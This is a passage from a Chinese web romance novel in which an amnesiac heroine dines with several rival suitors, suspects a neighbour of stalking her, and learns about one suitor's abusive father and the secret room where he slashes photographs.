炽热的体温向邢葵传递着,还有许野血肉内的心脏,扑通的跳动声撞击她的面颊。 她意志颇坚地撤离又软又硬的肌肉坑,先悄悄看了眼车外,三个男人正交谈着,视线穿不透车窗。 许野轮廓分明的脸垂下来看着她,仍然环着她的腰,目光一移不移,线条清晰的唇发出一声“嗯”:“网上风波,我也在关注。” “让你担心了,我没事。”邢葵挠挠头,“你拿的奖,谢伯母都有跟我说,真厉害。” 拿奖到手软也不激动的人,这会儿耳尖泛起红,都不敢看她:“你也是,我关注你账号时才几万粉丝,现在多了几个零。” 邢葵也不好意思了,偏过脸:“一般一般。” 如果没乌糟糟的事,两人或许会是一对甜如蜜糖的小情侣吧。 可惜没有如果。 人活在世,有羁绊,就有可能有藩篱。 双双移开眼的两个人终究对视,冬去春来,时隔数月,许野眼里依恋不舍,邢葵眼里清净明澈。 存在如果的话,也轮不到许野。 驾驶座旁边的车门拉开又关上,周镜坐进车,系安全带:“我要开车了,抱着她不安全,松手。” 他清冷的余光似有若无向后排瞥来,邢葵低头看许野的手,原以为他会松开,但他甚至收得更紧。 “抱几分钟怎么了,哥,我不在的时候,你没少抱吧?” 邢葵睁了睁眼睛,看向地面找地洞。 周镜系好安全带,镇定自若:“还好,江玉鸣抱得比较多。” 邢葵:?我地洞呢,谁帮我挖个地洞。 她小心觑了眼周镜,觉得他身上写满“危险”,果然前段时期他和江玉鸣的平衡是假象。 “不信你可以向葵葵求证。”周镜平稳地说道。 邢葵:重金求购地洞! 求证什么呀,江玉鸣虽抱得多,但周镜和她因为梁君赫中药事件睡了啊,江玉鸣和她一次都没睡过。 邢葵倏地一愣,还真是,江玉鸣烧得毫无下限,却偏偏没跟她真做到最后过。 “不用求证。”许野为人实诚,“反正不可能超过我的次数。” 邢葵眼前飘来黑云,没必要这么实诚,前方的周镜似扯了下嘴角,犹如冷笑:“不见得,我建议你跟江玉鸣坐一起算算数。” “打住!”邢葵喊道,“不要再聊这个了,周律师,许野,既然你们都在,我们找个地方吃顿饭,我有事找你们。” 周镜开车:“嗯,我在楼里也觉得我们兄弟今天能聚上,去辉德医院附近吧,江玉鸣也能抽空来,葵葵,你想说厉乘川什么?” 辉德距离这里,开车要一个多小时,邢葵便直接道:“你们看过新闻了吧?新闻上说,厉乘川是我前公司的老板,可我完全不知。” 邢葵想起格外长的带薪假期,起初她认为是谢成雯相助。 想起她要去公司辞职,厉乘川巧言阻碍。 “我住院时,他是我隔壁床的病友,出院之后,他是我对门的邻居,现如今,他又变成了我的上司,我感觉,怪怪的。” 周镜:“你怀疑?” “我怀疑,他是变态跟踪狂。”譬如以前是邢葵上司时就在关注她,她受伤去不成公司他又变成她的病友等等。 “也不一定,我和厉乘川接触得少,你们理应对他更了解,我说他跟踪狂,你们别笑哈。” “不会笑,你不为厉乘川皮囊迷惑,有这样的警惕心很好。”周镜认可,“只是我和厉乘川相交多年,他对我颇有恩情,我不会因此就猜忌于他,我想,有没有可能真是巧合?” 车后排,许野撇过脸对着窗,他不像周镜一样城府深不可测。 许野怕表现出来,他和周镜早就得知邢葵在猜疑什么。 毕竟梁君赫在“请前辈多多指教”群里没少讲。 梁君赫还呼吁三人要兄弟齐心,其力断川,驾驶座的周镜满脸淡然,心里指不定在拉弓准备放冷箭。 巧合说不无可能,邢葵翻了下手机,没排除周镜说法:“也许吧,有这么多巧合的概率虽然很低,但我抽奖都能中手机,说不准。” 周镜抬眸,后视镜内,邢葵手上拿的手机,和她出院第一天和他见面时拿的一模一样,可见是同一部。 当时她的手机崭新,车祸有可能导致手机损毁……那么中奖多半是在……住院期间? 周镜语气轻和,状若玩笑:“葵葵运气不错,要不再帮我中一部?” 邢葵莞尔:“我哪能连中,而且是酒店搞的活动,也不知道还搞不搞了。” 周镜背地推测成型,神态自如:“好,许野,你包个辉德附近饭馆,再联系下江玉鸣,看他几点能抽空。” “那不如就去那家酒店?”邢葵回忆万盛的饭菜,垂直踩进周镜陷阱,“他们家还不错,叫万盛,你搜搜。” “万盛?”许野下意识念了一遍酒店名。 邢葵住院时,厉乘川曾喊兄弟聚餐,地点就定在万盛,“那是厉乘川的酒店。” “……”邢葵吓得差点扔掉手机。 太诡异了,她中的这部手机里不会装了什么跟踪器吧? 等邢葵坐到饭馆,她已经将手机关了机,心里鼓声直冲天际,周镜和许野分坐她一左一右,赶来的梁君赫在跟两人抢位置。 本来邢葵没想叫梁君赫,经过梁昭然那出,她怕梁少爷向她提供假信息,可厉乘川着实古怪,她最好多问问人。 人越多,话说得越多,假如话中存在假话,破绽也会越多。 “凭什么你坐右边,我名字里面就藏了‘右’字,右边老天注定是我的,起开。”梁君赫拉许野。 邢葵回神,梁君赫名里哪有藏“右”字……哦,“君”里头是吧?荒谬啊,这种抢座理由都讲得出。 左边,周镜不受争执影响,翻着菜单询问她想吃什么:“蒜蓉扇贝要不要 点一份?别担心,厉乘川应当是好人。” 右边拉扯许野的梁君赫、和被拉扯的许野同时抽了下嘴角。 才不会让周镜占便宜,梁君赫撒开手,俯视周镜:“确定吗?假使葵葵听了你的,轻信了厉乘川,受了苦,你能为你说的话负责任吗?” 周镜平静反问:“我说‘应当’,我说‘一定’了吗?” 其实所有人都清楚,厉乘川对邢葵,是百分百的好人。 但他们一个都未明说,也不会明说,包括周镜,也仅仅一边唱白脸一边放冷箭。 这场聚会,于他们,是一次和邢葵吃饭的机会,是一场对厉乘川的背刺,却绝不会是,真相公开大会。 除却各种各样的私心,真相,对好不容易摆脱车祸伤痛的邢葵而言,太过残忍。 她已经失忆一年多了。 这一年多的时间,邢葵一点一点将碎掉的她重新拼起,做了一桩又一桩从前没做过的事,探索、成长,努力生活,并且正在高速发展。 谁能狠心告诉邢葵,她永远不可能将她自己拼完整,因为早在一年多前,她的人生就失去了一角。 没人狠得下心,所以厉乘川明知邢葵要是知晓真相,能利好他,他也在竭力抹去真相。 不过他应该没想到,曾经和他兄友弟恭的兄弟们,还会利用这次机会,卯足劲要将他踢出局。 “你好凶啊。”饭馆包厢里,梁君赫光明正大诬陷起周镜,“葵葵你看他,我也是为你好,宁愿将人想得绝对坏,也不能将人看得绝对好。” 梁君赫手按到桌面,弯身穿过许野凑到她面前,“葵葵信我,厉乘川就是坏东西!” 门打开,江玉鸣从医院赶来:“什么坏东西?” “江哥!”梁君赫热情招呼,就跟前几天把江玉鸣推出邢葵家门的人不是他似的,“怎么这么晚才来,周哥都要不等你点单了。” 好家伙,随时随地挑拨离间。 “你当我是你,能随便更改工作时间。”江玉鸣轻慢地笑着,看都没看梁君赫,先扫了下各人座位,拉开邢葵正对面的椅子。 梁君赫一皱眉,正对面方向很好,离邢葵不近,可却能被邢葵一直看见。 “江哥,屁股抬起来,这是我的位置。”他堂而皇之地撒谎,“谁让你不像我当明星,你迟到了,这是我先坐的。” 江玉鸣懒得看他,他这几天做梦都是弄死梁君赫:“没写你的名,葵葵说吧,找我们想问哪些,我来点菜,我知道你爱吃什么。” 周镜抓菜单的手指一蜷,随即唇几不可察地上弯。 看江玉鸣对梁君赫的态度,以及展示他对邢葵了解的话语,想必,他最近很心烦吧。 “我自己来点吧,就厉乘川的事,你们都清楚了,你们帮我想想,你们有没有见过他疑点。” 邢葵拿过菜单,垂着的眸子偷偷瞧了眼对面江玉鸣,他后背的伤怕是还没好全,她点一些补血补气没酱油的。 黄昏金灿灿的光照着窗户,饭馆外几十米处,一名男性遥望着饭馆门口。 男人是江父部下,负责在工作日监管江玉鸣,看他有没有行医失格。 不止男人一个人,平常江玉鸣能甩掉他们,只是他近日精神欠佳,漏了一个。 服务员端上一碗猪蹄汤,邢葵听着厉乘川的兄弟们帮她想疑点,脑子也要跟猪蹄一样在汤水沸腾中炖烂。 江玉鸣说:“非要想的话,当初你跟许野恋爱,老厉翻阳台的举动确实失常。” 梁君赫说:“他好像无处不在,你喝醉了我带你去公寓,他居然能出现在公寓门外。” 许野说:“是有点怪,我们去看电影,厉乘川也来了。” 周镜说:“偶尔我也觉得他似乎过分关注你,难不成,他不是在管我们兄弟恋爱,而是在管你?” 江玉鸣抬手捂了下嘴:“葵葵,他是不是还送了你监控?” 回去她就扔掉!邢葵鸡皮疙瘩直冒,盛汤的手都抖,汤里有八角大料,鬼知道厉乘川送的监控里有没有加料! “葵葵,是给我盛汤吗?”梁君赫眨巴漂亮的眸子,“说了这么多我是累了要补补。” 邢葵瞪了他一眼,将手中汤碗放到他面前,看看齐唰唰盯向她的另外三双眼睛,端起许野的碗:“每个人都有,辛苦你们了。” 她一碗一碗地盛着,盯着汤里的猪蹄,那种大块肥肉里头夹少量瘦肉的,她最爱吃。 汤勺舀起看着最好吃的一块,邢葵默不作声,将冒热气的碗放到转盘,转到江玉鸣前面。 这一桌,就他真需要补。 第88章 也不知道江玉鸣怎么受的伤,邢葵已经不止一次嗅到他身上有血腥味,这回分外严重。 他还不请假养伤,装得一如往常,修长的手指拿起汤匙,对面江玉鸣狭长美艳的眸子满是笑意,喝了口她盛的大补汤。 “别吓葵葵了,依我看,不如雇个侦探仔细查查老厉。”他提议。 “那你去雇吧,雇个好的查清楚。”梁君赫坐在他旁边,立马跟道。 “当然,我办事各位大可放心。” 邢葵默默低头吃菜,他俩对话都盯着她怪尴尬的,不过江玉鸣说得对,雇侦探是个好主意。 今天之前她对厉乘川的怀疑值是五十,今天之后她心中怀疑值直接飞升八十,希望侦探能查出准确结果。 服务员送来新的菜,是老母鸡馄饨汤,炖得雪白的汤面撒着葱花,青白相称,香气扑鼻。 邢葵真想问问这只鸡,它为什么不长四条腿?算了,两只鸡腿加两只翅膀,也是四。 她将它们分给一桌四个男人,心想,他们兄弟可别再添人了,再来人恐怕只能吃鸡屁股。 江玉鸣筷子夹上鸡腿,他杯子里的水面平平静静,他秾丽的美貌在杯身倒影,瞳仁深处藏着黑邃危险。 “现在的生活真好。”红唇咬上鸡腿,江玉鸣似随意地道,“正好一年有四季,葵葵,我看不如以后等你解决了催婚,我们四个一人一季好了。” “咳。”吃着馄饨的邢葵呛住。 “咳。”吃着鸡翅膀的梁君赫也呛住。 江玉鸣又双叒叕危险发言! 只有周镜的时候,他说周镜和他能一个负责白天一个负责夜晚。 多了许野的时候,他说一周七天,三个人一人两天,还有一天能让邢葵放假。 现如今四人共桌,江玉鸣表示一年恰好有四季。 邢葵两只耳朵都臊得慌,那要是五个人怎么分啊,她请问呢?江玉鸣怎能如此具有包容精神? 梁君赫从脖子红到耳,乳白的皮肤绯红绽放,只有许野和周镜稳定,许野是不太聪明,需要时间反应,周镜是经验丰富,习以为常。 “我去一趟洗手间。”邢葵站起来。 这片战场朕就交给你们了! 清水泼上面颊降温,几位兄弟不愧是有钱人,饭馆被他们包下,很清净,只是他们让耳根一点都不清净。 男女公用的洗手池前,邢葵忍不住揉了揉耳朵。 假设这是古代世界,江玉鸣比起妖妃,更像统掌内务的皇后,会在后宫妃嫔争风吃醋时,说:兄弟们,要大度,让皇上雨露均沾。 两只手忽然将邢葵翻过来,不大度的梁君赫傲然睨了睨包厢方向:“我能独占一年十二个月,凭什么要跟他们平分?” 意图独占皇帝的妃子是不是得被杖责? “葵葵。”梁君赫甜丝丝地叫她,邢葵怀疑他故意夹起了嗓子,说话跟桃花蜜似的,“我在追你,你有没有在考虑我呀?” “我在考虑啊,这不是我还没喜欢上你。”邢葵坦言,她的军师江玉鸣没给她出谋划策,但事实上—— 梁君赫条件无可争论的好,既没有年龄问题,家庭障碍也被解决。 而且他还在节目上公开表了白,邢葵有收到邢母信息,夸小伙子帅气浪漫等等,想来母亲对他第一印象挺不错。 倘若 梁君赫能接受假结婚,邢葵都想回家找户口本,可他偏要真的恋爱、真的结婚,难办。 “我是比其他人差在哪里吗?”梁君赫委屈地看她,手伸进外套口袋,掏出一副装饰眼镜,戴上,表情也故作深沉,“我戴眼镜不比周哥差吧。” 邢葵滞了整整三秒。 “你哪来的眼镜?”好家伙,憋到此刻才拿出来憋死他了吧。 “化妆间很多。”见邢葵不为所动,梁君赫撇嘴,取下眼镜,收回口袋,接着手抓住她一只手。 他将她的手放到他衣裳边缘,往里头伸。 “我的肌肉也不比许野差,是没他大,但你数数,也是八块。” 指腹被热量扑上,邢葵睁大眼,掌心刻上腹肌灼热的起伏,如同碰到一块块排列整齐的牛奶面包。 指尖被按上沟壑,像划琴弦般,从一块的起点划到一块的终点,邢葵感觉,她的嘴也如有拉链,被划上了。 头顶传来梁君赫一声沉闷克制的“哼”:“葵葵,好爽。” 懂了,还有哪里不懂的? 戴眼镜是模仿周镜,让她摸腹肌是跟和许野较量,现下他又学起江玉鸣的浪。 邢葵昂起脸,梁君赫在试图告诉她,她想要什么样他都能有。 只是,他终究不是那些人,说完骚话脸就像在辣椒水里泡过,红得没眼看。 骤然,从邢葵后面伸来两只手,一把将她拽离梁君赫身边。 江玉鸣抓上邢葵那只被梁君赫伸进过衣服里的手,在他风衣上蹭:“就你那白斩鸡身材也真好意思让葵葵摸。” 梁君赫:“什么!葵葵,他胡说八道。” 是胡说的,虽然邢葵没数完,但估计梁君赫真也有八块腹肌。 “要跟我比,怎么不比唱歌?”看来,江玉鸣听见了梁君赫那句话,艳冠群芳的面容压着一层乌云,“葵葵更钟意我的歌声。” 邢葵本要拉开嘴上拉链,闻言又赶快拉上,若是《刻骨不渝》那首歌,确实让江玉鸣唱更勾人,这可不兴说。 “话别说得太笃定。”梁君赫抬下巴,骄傲地道,“我在直播中唱,葵葵还为我竖了大拇指,大拇指,你得到过吗?” 江玉鸣殷红的唇上弯,睨着他笑:“你想让我收回歌曲版权?” 包厢内,许野靠着门,听不见门外动静,还在竖着耳朵听。 “我们,真不用去?”他问周镜,明知梁君赫和江玉鸣两个相继离去一定是去找邢葵,真不用去阻碍吗? 周镜喝汤,神情淡淡:“不用,我跟你是前任,在葵葵解决她的难题之前,我俩再如何争也无果,不如就让其他人争。” 他们越早争出结果,也许就能越早帮邢葵了结问题,从而,周镜和许野也能得到再次抢到邢葵的机会。 许野憨直点头,赞美:“哥,还是你有心机。” 周镜:“……”真实诚。 许野就是靠绝对赤诚撼动的邢葵心,而傲慢作精梁君赫,没有这条优点,正走在打动邢葵的路上探索。 洗手台前,梁君赫盯着提到版权的江玉鸣,手插进粉发,笑起来:“江哥,喜欢死了葵葵吧,喜欢快跟我一起追啊,我真急需个人跟我形成对照组。” 他狂妄得无边无际,已经不止一次地呼唤江玉鸣,升级生理性喜欢,和他一样成为邢葵的追求者。 邢葵在想他俩提到的“歌曲版权”,《刻骨不渝》是上世纪歌手梁佩玲的歌,传言她走红后嫁入豪门,就此息影。 梁佩玲是梁君赫远房表姑。 江玉鸣是梁君赫远房表哥。 那么,梁佩玲是……江玉鸣的母亲? 怪不得江玉鸣五官大气明艳,原来是遗传自妈妈。 她转头看看江医生,他美丽的脸神情难看,上回看到他脸色这么难看,还是她坚决不同意他当小三。 一直以来,邢葵没搞懂江玉鸣对她什么情况,他没向她索求过金钱情感,更能让她去和别人触碰,只要不拒绝也和他贴贴,可他浪成那样,居然没跟她真做过。 梁君赫说,江玉鸣喜欢她,男女爱情的那种喜欢,当真吗? 突然,江玉鸣眉往下一压,邢葵回头,梁君赫也好似察觉到某种异样,皱起眉。 两人迈腿,急促奔向十米远处墙后,邢葵赶紧跟过去,她还没到,一个陌生人从墙后被二人扔出来。 “少爷。” 少爷?来找梁君赫的?邢葵很快推翻她的想法,江玉鸣夺过那人的手机,那人毕恭毕敬,甚至胆怯,目光只对着江玉鸣。 他叫的是江家少爷。 “没什么事,我们回去吃饭吧。”江玉鸣尽量舒展眉,表现从容。 应该不是真没事,邢葵见那名陌生人快抖成筛糠,江玉鸣没问,她就当看不出,装作放下小插曲,边走边说:“行,对了,你今晚别来我家了,我怀疑厉乘川的监控有问题。” 江玉鸣:“下掉不就好了,葵葵,不想我来,想让谁来?” 邢葵:“梁君赫闭嘴,我谁也不想要。”只是这样说,江玉鸣八成会过来,身上添了新伤的话,她好悄悄给他处理。 夜幕黑沉,江玉鸣的小破车驶进奥瑞莉亚湾,江父已经在书房攥着茎条在等他。 中年人脸比夜色还黑,头上的火比房顶还高,他的手机里,收到了江玉鸣抱着邢葵的照片。 “逆子!我是想让你学厉乘川,找个有本事的女朋友,我没让你去抢他的女朋友!” 晚饭时间收到照片时,江父差点高血压晕过去,这时书桌旁还架着氧气瓶以防意外。 江玉鸣刚打开书房门,江父的茎条就甩到他手臂,没脱衣裳,这一下不至于出血,但疼痛感没少多少。 “我没说过,他们在一起了。” “住嘴!我们江厉两家,祖上传下来的交情,我悉心培养你,信任你,不是要你毁掉我们两家友谊!没在一起她也是厉乘川的人!” 蓦地,江玉鸣眸里阴戾乍现,令江父始料未及地夺过茎条,扔到脚下踩住。 “你信任我就不会派人跟踪我。父亲总是觉得我不好,拿同龄人跟我比,让我向他们看齐,我学了,你该笑。” 他最近本就不悦,江父还惹他。 “父亲凭什么说没在一起邢葵也属于厉乘川,邢葵是人,她不是物品,她和母亲一样不是物品。” 母亲。 好像江家很久很久没提过早逝的女主人,江父神色都有点恍惚。 江玉鸣踩得茎条在地面溢出绿汁,青草味和玫瑰味升腾,恍然间,江家门口的红白玫瑰花丛里,还有梁佩玲浇花的身影。 “父亲有废话要说就去找梁叔叔,你们两个丧妻的人一向很有共同语言。”江玉鸣一脚将茎条踢了出去。 地面被绿液弄脏一大片,砰的关门声响起,江父方才回神。 不是,玉鸣以为他在跟谁说话?他是他爸! 江父弯腰就要捡地上枝条,太脏了,实在没下得去手,咬咬牙,冲阖上的书房门喊道:“没了我,你什么都不是!” 一分钟后,门被打开:“老江,烦什么呢,大老远就听见你吼。” 江父看到走进来的梁父,怒笑,江玉鸣竟嘲讽他和梁父有共同语言,怎么可能?他又没让妻子追生儿子——他妻子第一胎就是儿子。 想到这里,江父背都挺直了些:“你大晚上来有事?” 梁父要 比江父老些、胖些,平常两人精神气相同足,可今天两人相同颓。 “哎,跟我儿子吵得心脏疼。”梁父叹了口气,坐下来,“我来找你讨杯养生茶喝,你这地上……玉鸣也跟小赫一样不懂事了?” 还真有共同语言。 江父也坐下,不愿承认:“还行,没你儿子荒唐,至少我儿子还愿继承家里。” 一支箭射中梁父本就疼的心,他又重重叹了口气:“何止,他还喜欢上个不该喜欢的姑娘。” 江父惊奇:“巧了,我儿子也。” 梁父:“那姑娘出身普通,也不知道哪里吸引了我儿子,就是个网红。” 江父:“真巧,我儿子喜欢的姑娘也是网红。” 梁父:“那姑娘最近在上综艺,叫《十万个问题》,听说过没?” 江父:“听说过听说过,我儿子喜欢的姑娘也上了。” 梁父:“那姑娘姓邢。” 江父:“我儿子……也……?” 第89章 由于佣人泄密事件,江家近来换了一批新血液,管家陈妈领着几人走在楼道中,交代着注意事项。 “这是茶水房……这是备餐间……这是水疗室……回头你们每人去领份地图和平衡车,靠两条腿走太累人。” 陈妈转头笑笑,“我用不习惯那玩意儿,之后会有专人教你们怎么使用,这是少爷卧房。” 她按上门把手,想到门口保安汇报说,少爷今晚回来了,有皱纹的额头上,眉心压上愁云。 听说少爷进了老爷书房,盼望这回少爷从老爷书房出来,书房地上别血迹斑斑。 她个下人,哪能操主子闲心,陈妈打开门,按亮灯,继续介绍,“少爷平日住在辉德附近公寓,不常回来,他说过,咱们啊,要是有急事等等,来不及打扫,他的房间可以偷个懒。” “少爷人这么好?”一位新佣人讶然,“一点富家大少脾气也没?” “当然。”只有老爷总看少爷不如别家少爷,陈妈心里叹气,骄傲扬声,“少爷模样还贼俊,你们这些小年轻不是爱追星吗?少爷就像大明星!” “真的假的?陈妈,咱们什么时候能有幸看到少爷?”几名佣人激动期待。 “陈妈,这里怎么还有间房间?”这时,一位佣人走向西方,这间房间不像卧室内置卫生间,门为铁制,还上了锁。 佣人要碰锁,陈妈连忙跑上前拉开她,五官全都惊恐。 “离远点!少爷当医生的,有时候会捣鼓些化学物品,他交代过,有些东西危险得很,能把人肉都融掉!” 小年轻们打了个寒颤,吓得齐齐后退一大步。 陈妈嗔了他们一眼:“这间少爷会自己收拾,就是怕你们不懂乱碰伤到哪儿。” “少爷人真好啊。” “真的。” 佣人们纷纷夸起江玉鸣,陈妈喜眉笑脸:“好了好了,还有好奇的今天赶紧问,过了今天就不要多嘴了。” “说来真有件事,陈妈,咱们走了老半天,为什么一张夫人照片都没瞧着?” 陈妈一怔。 “是啊,大厅正中央就挂着张老爷照片,结婚照、全家福,都没有。” 陈妈扯嘴角笑笑,笑容中混杂些许哀伤:“去世了,少爷八岁那会儿夫人就病逝了。” “欸?那老爷是迄今没另娶吗?还挺痴情。” “看来你们很欣赏我父亲。” 门口,江玉鸣走进室内灯光下,刹那间,万千红白玫瑰同绽,漫不经心的神情,极具冲击力的美貌,在光芒中散发摇曳心旌的艳丽。 好多人屏住呼吸,他漂亮的嘴角勾起,看着他的人心都被勾起来。 然而,江玉鸣带笑的眸底却藏着森冷如蛇的寒意:“不一定是痴情,我的母亲是天后梁佩玲,喜欢过她,他还能喜欢谁呢?” 他长这么好看,他说什么都对。 “少爷,都下去。”陈妈支走佣人,心疼地上下扫江玉鸣,看到他袖子上脏污,“这回又是为什么事啊?父子俩哪来的隔夜仇!” “毕竟隔了一条我母亲的命。”江玉鸣笑着说道。 陈妈僵了僵:“那种意外,你跟老爷都不想。” “不提了,陈妈早点休息,我今晚在家睡,明早还想吃你做的油条。” “好好好,我这就去睡觉,明天再给少爷煮份水波蛋!” 陈妈急急切切地跑走,脸上还带着笑,倘若梁佩玲还活着,岁数应该和她差不多吧。 江玉鸣垂下眸子,手指按到指纹锁,上锁的房门开启,满墙挂着、满屋挂着一张张照片,有厉乘川的、周镜的、许野的…… 狭窄的房间四面无窗,小小的灯泡与照片相隔排列,光线昏黄,地面扫地机器人正在工作。 江玉鸣蹲下,将机器中的垃圾倒进垃圾桶,是碎纸片,准确来说,是碎掉的照片。 几张厉乘川的照片被长指扯下,放到桌面,江玉鸣拉开抽屉,取出一把手术刀,锋利的刀片抵到照片上厉乘川俊美的脸,一划。 再划,再划,再划,直到整张脸烂掉,直到整张照片四分五裂。 修长的手拂掉桌面碎纸,地面扫地机器人将它们吞没。 刀片抵上一张新照片,江玉鸣目光淬毒般寒冽,整张脸一点笑意也无。 “你让我失去一位完美的妻子,就成为我完美的儿子吧。” 三十多岁的江父下颌线冷硬,对跪在地上哀恸落泪的少年说道。 只是病逝,江家何必要删去昔日的女主人。 玫瑰被篱笆围困,汲汲顾影,渴望生长到外面的土地,然而当玫瑰终于逃出,却因不能适应外界,零落成泥。 江父大男子主义,娶了梁佩玲当花瓶,梁佩玲郁郁寡欢,终有一日逃离,却病死外界。 这么多年,江父一直认为,假如当初江玉鸣跟着梁佩玲一起逃,有孩子支撑,也许梁佩玲能撑下去。 方得知丧母的孩童,被要求完美,以作补偿。 又是一张照片被切割成碎片,江玉鸣站在一排排照片下,视线黏稠如蛇的毒液,黄光照着那些照片,那些江父口中比他好的人。 年幼的孩童在茎条抽打中扭曲,在外笑意永久,在上锁的小房间内阴暗发泄。 孩子变了,江父却始终没变,始终不为梁佩玲的死自责,始终还是大男子主义。 那些江父口中比江玉鸣配的人,那些江父勒令江玉鸣保持友好关系的各大家族年轻一代,都是男性。 当江玉鸣厉乘川,和同一名女性纠缠,江父不考虑女性喜欢谁,只将她视作厉乘川所有物。 江玉鸣打印出一张新照片,刀片划上梁君赫精致的脸。 这间房里唯独没有梁君赫照片,以前曾有过,后来梁君赫天才变笨瓜跳进娱乐圈,江父就不再瞧得起他。 相亲相爱兄弟群中,论感情,厉乘川和周镜最好,因为他们性情相投,而江玉鸣则最喜欢梁君赫,因为江父不会拿梁君赫做理由打他。 现在他一丝一毫都不喜欢梁君赫了。 梁君赫倨傲狂妄地,唤江玉鸣去追邢葵,去做他的对照组。 江玉鸣一刀一刀,将照片上梁君赫那张被粉丝夸成天赐神颜的脸划烂。 邢葵最开始选中的就是江玉鸣,如果他最初点了头,还有梁君赫什么事儿。 江家黑暗,江父、江家亲戚,乃至江玉鸣自己,那时的江玉鸣,不想将认真生活的邢葵拉进来,除非邢葵对他有意。 后来,邢葵和周镜分手,江玉鸣也曾试过去得到邢葵的喜欢,被她拒绝,他便没强求。 为什么那个时候不坚持呢? 一年来,江玉鸣没想过这个问题的答案,梁君赫非逼着他想。 好像是怕了。 邢葵性子温软良善,在追的那几天,江玉鸣常被她用踌躇的目光盯着,他不确定那是拒绝还是答应,直到她终于将拒绝 说出。 他松了一口气。 他的世界阴暗扭曲,他害怕见到,邢葵见到他世界的眼神。 就这样,维持着身体接触就好,就这样,维持现状就好。 该死的梁君赫非要破坏掉他平静的生活,他又不在意一对一,让他和多少人分享邢葵都行,该死的梁君赫非要和邢葵一对一。 真想弄死他。 刀片划开梁君赫脖颈,深深刻进桌面,这张桌上,划痕有新有旧,长长短短。 有长有短的油条放进锅里炸,江玉鸣笑眯眯在厨房盯着看,早晨的光明净,厨房内江家佣人忙忙碌碌。 “少爷,哎哟,您就别在这儿了,衣裳会沾上油味。”陈妈做着早饭,催江玉鸣快点出去。 “没事,我看看油条怎么做。”明天也给邢葵做,家里炸的比外头健康。 佣人们端着食物和江玉鸣走进餐厅,晨完练的江父已经坐到了桌子正东方主位。 一通电话打来,江玉鸣眸子弯下,冷睨了眼坐东方的父亲,当着他的面接通:“喂,葵葵。” 江父拿餐具的动作僵住,撕破脸了儿子装都不装了,他皱着眉看向江玉鸣,过年都没见儿子对他这么笑过。 “肚子疼?” 江玉鸣蓦地正色。 江父嘴角一抽,接着捂住腹:“哎,我似乎也不太舒服……听到没?我也肚子疼,你……” 一只属于江玉鸣的手抬起来,示意他别讲话。 江父瞪圆眼珠子,邢葵是他爸,还是他是他爸! 江玉鸣不理他,手机里的邢葵声音艰涩:“嗯,应该是昨晚在饭馆吃多了不消化,感觉隐隐的痛,江医生,你知道吃什么药吗?我外卖点。” “你去买复方消化酶。”江玉鸣细心叮嘱,“今天别吃过荤过辣的……” 邢葵家中,邢葵喝了口胡辣汤,嘴上“嗯嗯”答应,挂断电话,撑住下巴。 昨晚江玉鸣没来,也不知道受没受伤、擦没擦药,她说她肚子疼,他今晚肯定会过来吧。 江家,手机一放下,江父拿筷用力敲击了下餐盘:“我说我也肚子疼,你耳朵聋了吗?” “你年纪大了,肠胃功能不好很正常。”江玉鸣拿起筷子。 “你才年纪大了!”江父气得抚胸口,“我很讲究养生,身体年龄才四十来岁。” “哦,四十多了。” “江玉鸣!”江父扔掉筷子,清脆的掉落声让餐厅所有旁人不敢呼吸,“你就因为我说邢葵是厉乘川的,你要反了我的天。” 江玉鸣吃早餐,老宅离医院不比他家近,他还赶着上班。 “那我说,我要你把邢葵追到手呢?” 江玉鸣一顿,撩起眼皮看向江父,后者满面怒容,但怒气并不外溢,而是被压制着。 江父冷笑:“梁家那孩子也喜欢她,你可不能输给他。” 室内陷入沉寂,鸦雀无声,不知过了三秒还是十秒,江玉鸣笑起来:“你还是将邢葵当物品。” 他放下筷子站起身,侧眼看江父,阳光将他高长的影子投在江父脸上,他寒声讥嘲,“父亲想多了吧,你在我后背留下那么多疤,谁能不怕。” 过去一年,江玉鸣都没跟邢葵真睡过,他从未,让她看过他狰狞的后背。 夜幕降临,江玉鸣家中,衣柜打开。 邢葵今日不舒服,江玉鸣必要去瞧瞧,出发前打算先换身衣服,原来的衣服早上看炸油条沾了气味。 衣柜左边挂着一件红色衬衫,上面密密麻麻的洞。 以后他不想再被江父打了,江玉鸣伸手,摸上红衬衫上玫瑰刺扎出的小洞,指尖捻上线头,眸中溢满讽刺。 线头,却连不上洞。 江玉鸣一滞,取下衬衫细瞧,眼中惊异,怎么会?它少了一段…… 有人……用剪刀剪过。 第90章 邢葵将一盒复方消化酶放客厅茶几上,抱起药箱窝到沙发,数箱子里的药。 已是晚上七点半,希望江玉鸣早点下班,他要是到半夜才来,她让他喝水多奇怪。 她用的药几乎没味道,再经由一夜挥发,江玉鸣醒来不会发现异常。 只是血液黏连,衣衫线头可能会顽固粘在伤口,比如那天,她在清理时不得不用了剪刀。 算是唯一的破绽,但话说回来,谁变态到留着这种晦气血衣。 换作邢葵,她脱下衣服直接就塞垃圾桶,更别提还去摸洞、摸线头,她车祸时的衣裳就全扔掉了。 邢葵点头以自我肯定,江玉鸣,到底还是体面人。 开门声响起,邢葵阖上药箱,只有江玉鸣有她家钥匙,果不其然,江医生关上门,外面在下小雨,最小的那种,他柔软的发丝沾了星点雨水,似露珠。 妖气的眸子也是水润的,夜风潮湿,春寒在他身上洒下晶莹光彩。 邢葵想起玄幻小说里,从深潭游上来的美男蛇,美丽又血腥,江玉鸣也散发着同款血腥味。 她心里一紧,表面当做寻常道:“你今天的病人又流了很多血啊?” 江玉鸣没说话,狭长的双眸直勾勾地盯着她,长腿步步走近。 咚咚,邢葵心七上八下,他不会变态到留着血衣吧? 这时,江玉鸣向她伸出手。 海盗和美人鱼的故事里,美人鱼会向水手伸出手,然后将水手拽入水中吞吃。 他不会真变态到留着血衣吧?她没干其他事啊! 江玉鸣忽地翘唇,手指转向,空气中剑拔弩张的感觉消失,他也拿起茶几上的复方消化酶药盒:“真不经吓,让我看看买的药。” 邢葵立时舒气:“干嘛突然吓我。” “看你可爱啊。”江玉鸣分出一只手摸摸她的脸,玫瑰香扑面,蹭着她脸的手不太热。 邢葵撇脸躲手,怀疑江玉鸣经历了什么,他不想说,她选择接受他的说法。 她其实能猜。 昨天跟踪江玉鸣的人诚惶诚恐喊他“少爷”,那指派他来的人大概率是江家长辈。 江玉鸣说过,他杀死了他妈。 真实情况绝非字面意,可能梁佩玲的死和江玉鸣有一点关系,江父因此将丧妻之痛转嫁到儿子头上,一不顺心就打他? 邢葵瞎猜的,她也不知道对不对,总之,受了伤就得擦药,江玉鸣身上光闻见血味闻不见药味。 看消化酶有啥用,消化药又治不了外伤,哦,看胶囊少没少是不是能看出她有没有撒谎? 